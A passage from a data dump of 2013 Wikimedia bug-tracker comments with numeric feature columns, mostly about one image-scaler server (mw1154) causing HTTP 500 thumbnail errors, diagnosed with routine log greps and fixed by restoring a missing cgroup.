[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,0.5,0.5,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,5.5,0.0,1.0,3.5,0.0,0.0,0.0,0.5,1.0,0.5,7.0,0.0,1.5,3.5,13.5,1.5,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.5,0.5,0.0,27.5,3.1991901776384535,0.5824843260188088,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
[02:06:20] <paravoid> what's wrong with it?
[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
[02:07:41] <Reedy> URL
[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
[02:08:35] <paravoid> blergh
[02:09:01] <paravoid> fixed
[02:09:58] <Reedy> is that's what's up with it?
[02:10:05] <paravoid> yes, fixed
[02:10:09] <Reedy> awesome
[02:10:10] <Reedy> thanks"
254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,7.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.74,0.29,"Yup, still mw1154


reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
50057
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
125850
reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
50451
reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
50584
reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
51015
reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
50386
reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
50134
reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
51486"
254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.294117647058823,1.0,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.
254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.875,Part of the question would be is it still the same machine? (based on the fact it's already changed once)
254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,Could this server be taken out of rotation until the issue is resolved?
254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg

Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0.3333333333333333,0.0,0.0,0.0,0.0,3.8333333333333335,0.16666666666666666,0.0,0.0,0.0,0.6666666666666666,7.333333333333333,0.0,0.0,0.0,0.16666666666666666,0.16666666666666666,1.0,3.1666666666666665,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.5,0.0,0.16666666666666666,0.0,1.1666666666666667,0.0,0.16666666666666666,0.16666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.8333333333333334,0.16666666666666666,5.166666666666667,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.5,0.0,0.6666666666666666,0.0,12.166666666666666,0.0,0.5,3.1666666666666665,11.333333333333334,0.16666666666666666,11.5,0.16666666666666666,0.5,0.0,0.16666666666666666,0.5,0.0,1.1666666666666667,0.5,0.0,1.3333333333333333,4.075156054931337,0.6390345401581357,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.

I just got another HTTP 500 Internal Server Error and found the following entry:

URL: URL

Triggered from an <img> tag on URL when previewing an edit.


[04:11 UTC] krinkle at fluorine in /a/mw-log
$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10

Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format CODE/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
..
2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: URL -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded"
254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,0.0,1.0,0.0,1.0,3.0,7.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,4.0,3.0,3.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,3.0,1.0,0.0,0.0,4.2368421052631575,0.7631578947368421,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)"
254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54188 has been marked as a duplicate of this bug. ***
254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
> 55424
> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
> 111320

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,6.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,8.0,13.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.7419354838709677,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines."
254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.4222222222222225,0.7777777777777778,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps GERRIT_URL would help debug the situation (including stderr from limit.sh in the 500 error message)."
254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.96,0.56,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320"
254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,3.0,2.0,0.0,0.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,5.5,10.5,2.0,1.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,3.5,0.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,15.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.5,3.0,5.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,2.0,10.5,2.0,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.5,2.0,0.0,0.0,0.0,3.946428571428571,0.8392857142857142,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - URL"
254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,5.5,22.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.601351351351351,0.41891891891891897,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107"
254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,3.9642857142857144,1.0,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts"
254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
-----
>I don't think the scenario is relevant, there is either something wrong with
>the thumbnail generator script that is triggered by lots of images. Or there is
>a few faulty servers in the upload.wikimedia.org pool that cause the errors.

Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.8421052631578947,"See also bug 53573. (which was mostly mw1153)
-----
QUOTE
QUOTE
QUOTE

Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter"
55959,Bugzilla to use its own SSL certificate,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.

https://gerrit.wikimedia.org/r/#/c/82879/

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
